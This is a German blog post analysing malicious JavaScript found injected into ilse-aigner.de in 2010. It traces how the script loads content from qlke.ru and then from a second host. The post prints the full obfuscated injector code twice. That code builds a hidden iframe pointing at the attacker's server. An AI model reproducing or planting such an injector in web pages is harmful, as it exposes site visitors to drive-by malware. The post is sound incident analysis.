Skip to content

Schadcode bei ilse-aigner.de?

Rainer fragte sich und die identi.caer (später auch die Blogleser), ob denn die Webseite von Ilse Aigner gehackt ist. Der erste Blick auf die Seite liess mich in der Tat erstaunen:

Webseite ohne JavaScript

Ich habe die Firefox-Erweiterung NoScript aktiviert und die Browserweiche der Webseite wurde aktiv. Aber bereits hier war das Problem im HTML-Code zu sehen. Eine enorme Menge JavaScript. Im erweiterten Teil des Beitrages findet ihr den kompletten Schnippsel. Ich habe da nur an jedem Semikolon einen Umbruch eingebaut.

Innerhalb des JavaScript-Teiles werden diverse Variablen angelegt und nie benutzt. Es gibt die merkwürdige Zeile eturn ’h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ’’); und andere Nettigkeiten. Ich habe dann mal versucht, das Puzzle sinnvoll wieder zusammen zu setzen. Nach meiner Meinung dient der Code dazu, innerhalb der Webseite einen Bereich zu öffnen (IFrame). Dort wird der Inhalt der Seite qlke.ru/index.html geladen. Im nächsten Schritt wäre es also von Interesse, was in dieser Datei steht.

Ich versuchte also zunächst ein GET /index.html HTTP/1.1 bei der Seite und erhielt als Antwort:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jun 2010 13:00:01 GMT
Content-Type: text/html
Connection: close
Last-Modified: Mon, 14 Jun 2010 15:01:58 GMT
ETag: “a6600e-2881-488fec52d6580”
Accept-Ranges: bytes
Content-Length: 10369
Vary: Accept-Encoding

404 Not found

Wie man sieht, habe ich den Abruf heute gemacht. Leider habe ich den kompletten HTTP-Header nicht gespeichert. Insofern könnte der Teil ab Last-Modified vorher anders gewesen sein. Sehr markant finde ich, dass der Webserver meint, es sei alles in Ordnung (200 OK), währenddessen eine nicht gefundene Seite vorgespiegelt wird. Das kann natürlich ein Fehler in der Konfiguration sein. Viel wahrscheinlicher hielt ich das jedoch für einen Platzhalter, der später durch Schadcode ersetzt wird. Mittlerweile hat sich diese Vermutung wahrscheinlich bestätigt. Denn diese Seite enthält jetzt HTML und wieder JavaScript. Das lädt dann Code von der Seite http@//bijitersto@com/cgibin/index@php (Ich habe mal Doppelpunkt und Punkt durch @ ersetzt) nach. Firefox meldet diese Seite sofort als attackierende Seite. Also seit vorsichtig beim Betreten.

Der Server auf dem qlke.ru läuft, steht derzeit in Österreich. Die zweitgenannte Seite läuft derzeit auf einem Rechner in der Ukraine. Also insgesamt sieht das Ganze nicht unbedingt so aus, als ob das die Verbraucherschutzministerin ihren Besuchern anbieten will.

Ich frage mich, wie der Quellcode überhaupt auf die Seite von ilse-aigner.de gekommen ist. Hat da jemand den Rechner gehackt bzw. die Software, die die Webseiten ausliefert? Offensichtlich hatten die Besucher der Webseite von Ilse Aigner viel Glück. Denn die Angreifer hatten ihre Munition noch nicht an den Start gebracht. Ein erster Kontaktversuch zu den Betreibern der Webseite von Ilse Aigner lief leider ins Leere, da E-Mails an den Webmaster als unzustellbar zurückkamen. Ich werde eventuell Frau Aigner direkt um Stellungnahme bitten. Falls ich Rückmeldung erhalte, werde ich nochmal ein paar Zeilen dazu schreiben.

function hT(){};
this.xA=’’;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=’’;
return ‘h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ‘’);
var kY=“kY”;
this.eP=’’;
sY=“”;
},m : function() {this.gJ=“”;
var f=new Array();
function r(){};
var tB=false;
    this.mP=“”;
q=“”;
    var s=’replace’;
var gV=’’;
var a=function(){};
var tA=new Array();
var pU=’’;
var z=document;
this.pA=“pA”;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=“uW”;
this.iC=’’;
var eN=“eN”;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=“”;
sF=false;
dX=’’;
var gVN=1376;
var mJ = ‘sQegt@TgigmQe@oQu^t@’.qK(/[@\^g_Q]/g, ‘’);
iB=’’;
cF=false;
var i = ‘<Mh$tum^lM u>$<Yh^eMaYd$ u>^<u/^h^e$a$d$>^<ubYoud$yM u>$<u/Mb^o^d^yu>u<$/^h$tumYl$>M’.qK(/[M\$u\^Y]/g, ‘’);
this.aF=“aF”;
this.qC=“”;
this.kF=’’;
var jZ=’’;
var pN=new Date();
try {var sG=“”;
var hQ=“”;
this.v=false;
oM=“”;
var uQ=function(){};
var bO=new Date();
var sI = ‘b9oRdlyR’.qK(/[R9lSG]/g, ‘’);
this.hO=false;
var qU=new Array();
var sN = ‘sjt#yjl{eE’.qK(/[E#\{@j]/g, ‘’);
pM=“pM”;
yN=“yN”;
this.hI=false;
var j = ‘i~f_r6a1m6e&’.qK(/[&~1_6]/g, ‘’);
mA=12855;
function uF(){};
iM=false;
var e = ‘w{r~iWt{e~’.qK(/[~\{Wm\.]/g, ‘’);
var zJ=’’;
this.tS=false;
var k = ‘c(r(e5a(t5e(Eol(e:moe:n5t(’.qK(/[\(o\:N5]/g, ‘’);
this.n=’’;
var aD=function(){};
var qE=new Array();
kW=false;
var p = ‘sLr&cL’.qK(/[LRy/&]/g, ‘’);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=’’;
this.tM=“”;
this.eE=51540;
var xE = ‘s4e4t5AVt,t5r5i5b,uVtGe4’.qK(/[4V,5G]/g, ‘’);
var hG=new Array();
var mF=’’;
this.fG=“fG”;
var hV=function(){return ‘hV’};
var y = ‘hSiSdSdSexnS’.qK(/[SZx\>t]/g, ‘’);
var w=’’;
var cC=’’;
this.gE=“”;
sE=’’;
var jL = ‘vei5s[icbci+l[i[tey+’.qK(/[\+\[5ec]/g, ‘’);
var xS=’’;
this.oJ=“”;
    var h = ‘a^pTp^eTnJd&C^h&i&l&dJ’.qK(/[J\^g&T]/g, ‘’);
this.uU=’’;
var aR=“aR”;
    this.zQ=false;
function aJ(){};
    var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=“lI”;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=“pB”;
var wV=function(){};
kQ=false;
var tSX=function(){return ‘tSX’};
kV[sN][jL] = y;
var jE=function(){return ‘jE’};
var tU=1024;
var cY=’’;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=’’;
function uM(){};
uV=62754;
jP=“”;
var xH=new Array();
z[sI][h](kV);
this.mE=“”;
var bK=function(){return ‘bK’};
var tC=“tC”;
var rU=new Date();
this.pT=’’;
var vD=“vD”;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=“”;
this.oU=false;
z.write(i);
this.kB=“kB”;
pW=’’;
var zC=“”;
qR=’’;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=’’;
function sS(){};
uT=’’;
rG=“rG”;
b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=“hA”;
this.eW=“eW”;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=’’;
function gMQ(){};
nI=52234;
this.cB=“cB”;
}};
this.lR=15709;
var bB=new hT();
 var gC=’’;
bB.m();
mC=23088;
</script><script type=’text/javascript’>function hT(){};
this.xA=’’;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=’’;
return ‘h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ‘’);
var kY=“kY”;
this.eP=’’;
sY=“”;
},m : function() {this.gJ=“”;
var f=new Array();
function r(){};
var tB=false;
    this.mP=“”;
q=“”;
    var s=’replace’;
var gV=’’;
var a=function(){};
var tA=new Array();
var pU=’’;
var z=document;
this.pA=“pA”;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=“uW”;
this.iC=’’;
var eN=“eN”;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=“”;
sF=false;
dX=’’;
var gVN=1376;
var mJ = ‘sQegt@TgigmQe@oQu^t@’.qK(/[@\^g_Q]/g, ‘’);
iB=’’;
cF=false;
var i = ‘<Mh$tum^lM u>$<Yh^eMaYd$ u>^<u/^h^e$a$d$>^<ubYoud$yM u>$<u/Mb^o^d^yu>u<$/^h$tumYl$>M’.qK(/[M\$u\^Y]/g, ‘’);
this.aF=“aF”;
this.qC=“”;
this.kF=’’;
var jZ=’’;
var pN=new Date();
try {var sG=“”;
var hQ=“”;
this.v=false;
oM=“”;
var uQ=function(){};
var bO=new Date();
var sI = ‘b9oRdlyR’.qK(/[R9lSG]/g, ‘’);
this.hO=false;
var qU=new Array();
var sN = ‘sjt#yjl{eE’.qK(/[E#\{@j]/g, ‘’);
pM=“pM”;
yN=“yN”;
this.hI=false;
var j = ‘i~f_r6a1m6e&’.qK(/[&~1_6]/g, ‘’);
mA=12855;
function uF(){};
iM=false;
var e = ‘w{r~iWt{e~’.qK(/[~\{Wm\.]/g, ‘’);
var zJ=’’;
this.tS=false;
var k = ‘c(r(e5a(t5e(Eol(e:moe:n5t(’.qK(/[\(o\:N5]/g, ‘’);
this.n=’’;
var aD=function(){};
var qE=new Array();
kW=false;
var p = ‘sLr&cL’.qK(/[LRy/&]/g, ‘’);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=’’;
this.tM=“”;
this.eE=51540;
var xE = ‘s4e4t5AVt,t5r5i5b,uVtGe4’.qK(/[4V,5G]/g, ‘’);
var hG=new Array();
var mF=’’;
this.fG=“fG”;
var hV=function(){return ‘hV’};
var y = ‘hSiSdSdSexnS’.qK(/[SZx\>t]/g, ‘’);
var w=’’;
var cC=’’;
this.gE=“”;
sE=’’;
var jL = ‘vei5s[icbci+l[i[tey+’.qK(/[\+\[5ec]/g, ‘’);
var xS=’’;
this.oJ=“”;
    var h = ‘a^pTp^eTnJd&C^h&i&l&dJ’.qK(/[J\^g&T]/g, ‘’);
this.uU=’’;
var aR=“aR”;
    this.zQ=false;
function aJ(){};
    var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=“lI”;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=“pB”;
var wV=function(){};
kQ=false;
var tSX=function(){return ‘tSX’};
kV[sN][jL] = y;
var jE=function(){return ‘jE’};
var tU=1024;
var cY=’’;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=’’;
function uM(){};
uV=62754;
jP=“”;
var xH=new Array();
z[sI][h](kV);
this.mE=“”;
var bK=function(){return ‘bK’};
var tC=“tC”;
var rU=new Date();
this.pT=’’;
var vD=“vD”;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=“”;
this.oU=false;
z.write(i);
this.kB=“kB”;
pW=’’;
var zC=“”;
qR=’’;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=’’;
function sS(){};
uT=’’;
rG=“rG”;
b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=“hA”;
this.eW=“eW”;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=’’;
function gMQ(){};
nI=52234;
this.cB=“cB”;
}};
this.lR=15709;
var bB=new hT();
 var gC=’’;
bB.m();
mC=23088;

Trackbacks

Datenkanal on : DK21: Schwachstellen im Web I (SQL Injection und XSS)

Show preview
Diese Folge setzt unsere Betrachtungen von IT-Sicherheit fort. Nachdem wir mit dem Buffer Overflow einen Klassiker angesprochen haben, wenden wir uns in der Folge hauptsächlich der SQL Injection zu. Gegen Ende der Sendung kommen wir noch auf Cross Site Sc

Comments

Display comments as Linear | Threaded

Jens Kubieziel on :

Die Antwort kann man kurz zusammenfassen: “Nichts genaues weiß man nicht und mehr darf ich nicht sagen.” Schade :-(

Add Comment

Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
Standard emoticons like :-) and ;-) are converted to images.
BBCode format allowed
E-Mail addresses will not be displayed and will only be used for E-Mail notifications.

To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA

You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
Form options
cronjob